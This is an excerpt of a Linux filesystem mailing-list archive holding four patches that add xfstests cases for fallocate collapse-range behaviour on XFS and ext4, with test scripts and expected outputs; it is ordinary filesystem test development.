X-ASG-Orig-Subj: [PATCH v5 6/10] xfstest: shared/002: Delayed allocation collapse range Message-Id: <1392741530-20199-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1392741540 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(002) tries to test various corner cases with delayed extents for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/002 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/002.out | 49 +++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 115 insertions(+) create mode 100644 tests/shared/002 create mode 100644 tests/shared/002.out diff --git a/tests/shared/002 b/tests/shared/002 new file mode 100644 index 0000000..54b957d --- /dev/null +++ b/tests/shared/002 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 2 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/002.out b/tests/shared/002.out new file mode 100644 index 0000000..60aaadc --- /dev/null +++ b/tests/shared/002.out @@ -0,0 +1,49 @@ +QA output created by 002 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 5562f92..7230b28 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc +002 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Tue Feb 18 10:39:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D687C7FB9 for ; Tue, 18 Feb 2014 10:39:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5D13CAC001 for ; Tue, 18 Feb 2014 08:39:20 -0800 (PST) X-ASG-Debug-ID: 1392741558-04cbb00c2953a8d0001-NocioJ Received: from mail-pb0-f53.google.com (mail-pb0-f53.google.com [209.85.160.53]) by cuda.sgi.com with ESMTP id iEQFQJUhBVgTQePD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:39:19 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.53 Received: by mail-pb0-f53.google.com with SMTP id md12so16832678pbc.26 for ; Tue, 18 Feb 2014 08:39:18 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=1Q8ucbEJqq7Ddz1MilafDQTSef6hNzsgLFEvL3P70+Y=; b=JPMA+AhjtlQQsQOdYO4zK4fyGFk3CEYqxgO9+FItkucBMM2q9KsGObbmFSlNnQtVoe Iie0dn8zGYpXiMUc3HdBPeyTjQ2Za2R4Pm2E7wNiF/fPDA+h954WKVsZ7BxsyO+WPiil XIZkxJr28JTbCd2ijGD/HMY/5t2ePhNY0g4DDOmOfZl2UAJHb8kl94hOFvsI956oV47K Z20sMoGCUe0juXeDRQgT6dxY2LIW7KWJRdajrLUY+l92TWOKxox1MV0316YhbCs6+Vk5 LMe51kpQXp9zbGKFJgnj41CO+mjsGFB0kdq7ZPnCoOdZMGYebPAnrLz8RInRUc9aJ7k4 AUzg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.184.66 with SMTP id es2mr34313808pbc.19.1392741558344; Tue, 18 Feb 2014 08:39:18 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id eo11sm145749576pac.0.2014.02.18.08.39.14 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:39:17 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 7/10] xfstest: shared/003: Multi collapse range tests Date: Wed, 19 Feb 2014 01:39:04 +0900 X-ASG-Orig-Subj: [PATCH v5 7/10] xfstest: shared/003: Multi collapse range tests Message-Id: <1392741544-20233-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f53.google.com[209.85.160.53] X-Barracuda-Start-Time: 1392741558 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(003) tries to test various corner cases with pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/003 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/003.out | 49 +++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 115 insertions(+) create mode 100644 tests/shared/003 create mode 100644 tests/shared/003.out diff --git a/tests/shared/003 b/tests/shared/003 new file mode 100644 index 0000000..7b7f2df --- /dev/null +++ b/tests/shared/003 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 3 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/003.out b/tests/shared/003.out new file mode 100644 index 0000000..0a786c9 --- /dev/null +++ b/tests/shared/003.out @@ -0,0 +1,49 @@ +QA output created by 003 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 7230b28..9226032 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,6 +5,7 @@ # 001 auto prealloc 002 auto prealloc +003 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Tue Feb 18 10:39:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0F9268010 for ; Tue, 18 Feb 2014 10:39:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB4D88F8066 for ; Tue, 18 Feb 2014 08:39:31 -0800 (PST) X-ASG-Debug-ID: 1392741570-04cbb00c2853a940001-NocioJ Received: from mail-pb0-f45.google.com (mail-pb0-f45.google.com [209.85.160.45]) by cuda.sgi.com with ESMTP id duqSC5lwsHsy4QeG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:39:30 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.45 Received: by mail-pb0-f45.google.com with SMTP id un15so16951534pbc.4 for ; Tue, 18 Feb 2014 08:39:30 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=7AtXN9vPdHjd8UluSwLK2W0NfV7TeGD2Fuhq7XryOT4=; b=nl6ViDTI2G6Fanimpl0Ft1zPBODdN0kepgQRt7g6H8t6aPlWsUsKV4p//1yG8HEqEL H2RSMhyHuDyldbuc+McaIxNG0wPaLaeoDwEf06YJNu6afXJYXASyu1uE57TDay71ahhH 1wPs2/b8enyCsatY1aJVk7tbbNpbfjIaQYUPxQFJVptxOtcxxlGDU78vVawF7Nnxp+Jy xepkhAjIWd+R4QfN8qCXci4MfEZF8ZqIpIlBI4XZR7jJogV44eVvRj8bPB6T7WFjiz5q /SH//EBo5UBswR7zeLyRd4/qL0noMApkuE2FVdaVbKvOmfenB2yQon6bRsbPi9VQLfeF ARdA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.203.135 with SMTP id kq7mr33966602pbc.85.1392741570188; Tue, 18 Feb 2014 08:39:30 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id dk1sm57470875pbc.46.2014.02.18.08.39.27 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:39:29 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 8/10] xfstest: shared/004: Delayed allocation multi collapse Date: Wed, 19 Feb 2014 01:39:22 +0900 X-ASG-Orig-Subj: [PATCH v5 8/10] xfstest: shared/004: Delayed allocation multi collapse Message-Id: <1392741562-20267-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f45.google.com[209.85.160.45] X-Barracuda-Start-Time: 1392741570 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(004) tries to test various corner cases with delayed extents and pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/004 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/004.out | 49 +++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 115 insertions(+) create mode 100644 tests/shared/004 create mode 100644 tests/shared/004.out diff --git a/tests/shared/004 b/tests/shared/004 new file mode 100644 index 0000000..5902b9f --- /dev/null +++ b/tests/shared/004 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 4 +# +# Delayed allocation multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/004.out b/tests/shared/004.out new file mode 100644 index 0000000..9ccffd7 --- /dev/null +++ b/tests/shared/004.out @@ -0,0 +1,49 @@ +QA output created by 004 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 9226032..fb1d6d0 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -6,6 +6,7 @@ 001 auto prealloc 002 auto prealloc 003 auto prealloc +004 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Tue Feb 18 10:39:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E7B67FFB for ; Tue, 18 Feb 2014 10:39:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id ACBAAAC002 for ; Tue, 18 Feb 2014 08:39:44 -0800 (PST) X-ASG-Debug-ID: 1392741582-04cb6c06cf22bbf0001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id JZWej2xKspPQ4lUb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:39:43 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.180 Received: by mail-pd0-f180.google.com with SMTP id x10so16465461pdj.39 for ; Tue, 18 Feb 2014 08:39:42 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=VD4UBB+s3bw+JsB456jsdCH7ASBZkia5f5XtmFcCMfY=; b=fK3OZkp80QeTT87XOEacedjec2E9+JBHYDs21/23ZcDuH02H02U5hN2l38tLOL2hps ce3m0Tq0CuwdEd1cNGSabCXIEJOb3P/ZywOhEnr+A/ehqEcTD3kJS08OXky9sLUI84mu FuCYEXSID/HkGjalKUDknuhsFFwOnTVVwmqHFTIlY72EYwCG0WIRUKpqh9cx+FxrCoXy Au2AqK8ESBCZxFLus9Tb7APnkmNtynTEdccO0wZpA43FqCahi5Nxw6JT1dbQhvC2uUF3 kqS+OGhtVN83FJBL+e/Bc+rD/LQEzM5ofG8/PgOqgW5wsyOlIjkSkzGM+98aHSN2bxki Ot3Q== X-Barracuda-BBL-IP: nil X-Received: by 10.68.189.5 with SMTP id ge5mr34015494pbc.42.1392741582609; Tue, 18 Feb 2014 08:39:42 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id om6sm57466074pbc.43.2014.02.18.08.39.39 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:39:42 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 9/10] xfstest: shared/005: Test multiple fallocate collapse Date: Wed, 19 Feb 2014 01:39:34 +0900 X-ASG-Orig-Subj: [PATCH v5 9/10] xfstest: shared/005: Test multiple fallocate collapse Message-Id: <1392741574-20301-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f180.google.com[209.85.192.180] X-Barracuda-Start-Time: 1392741583 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon We execute collapse range multiple times on same file. Each collapse range call collapses a single alternate block. After the test execution, file will be left with 80 blocks and as much number of extents. We also check for file system consistency after the completion. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/005 | 90 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/005.out | 4 +++ tests/shared/group | 1 + 3 files changed, 95 insertions(+) create mode 100644 tests/shared/005 create mode 100644 tests/shared/005.out diff --git a/tests/shared/005 b/tests/shared/005 new file mode 100644 index 0000000..1347e7f --- /dev/null +++ b/tests/shared/005 @@ -0,0 +1,90 @@ +#! /bin/bash +# FS QA Test No. 5 +# +# Test multiple fallocate collapse range calls on same file. +# For different blocksizes, collapse a single alternate block multiple times +# until the file is left with 80 blocks and as much number of extents. +# Also check for file system consistency after completing this operation +# for each blocksize. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +testfile=$SCRATCH_MNT/$seq.$$ +BLOCKS=10240 + +for (( BSIZE = 1024; BSIZE <= 4096; BSIZE *= 2 )); do + + length=$(($BLOCKS * $BSIZE)) + case $FSTYP in + xfs) + _scratch_mkfs -b size=$BSIZE >> $seqres.full 2>&1 + ;; + ext4) + _scratch_mkfs -b $BSIZE >> $seqres.full 2>&1 + ;; + esac + _scratch_mount >> $seqres.full 2>&1 + + # Write file + $XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + + # Collapse alternate blocks + for (( i = 1; i <= 7; i++ )); do + for (( j=0; j < $(($BLOCKS/(2**$i))); j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done + done + + # Check if 80 extents are present + $XFS_IO_PROG -c "fiemap -v" $testfile | grep "^ *[0-9]*:" |wc -l + + _check_scratch_fs + if [ $? -ne 0 ]; then + status=1 + exit + fi + + umount $SCRATCH_MNT +done + +# success, all done +status=0 +exit diff --git a/tests/shared/005.out b/tests/shared/005.out new file mode 100644 index 0000000..8d30b9d --- /dev/null +++ b/tests/shared/005.out @@ -0,0 +1,4 @@ +QA output created by 005 +80 +80 +80 diff --git a/tests/shared/group b/tests/shared/group index fb1d6d0..22f1d3a 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -7,6 +7,7 @@ 002 auto prealloc 003 auto prealloc 004 auto prealloc +005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Tue Feb 18 10:40:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: 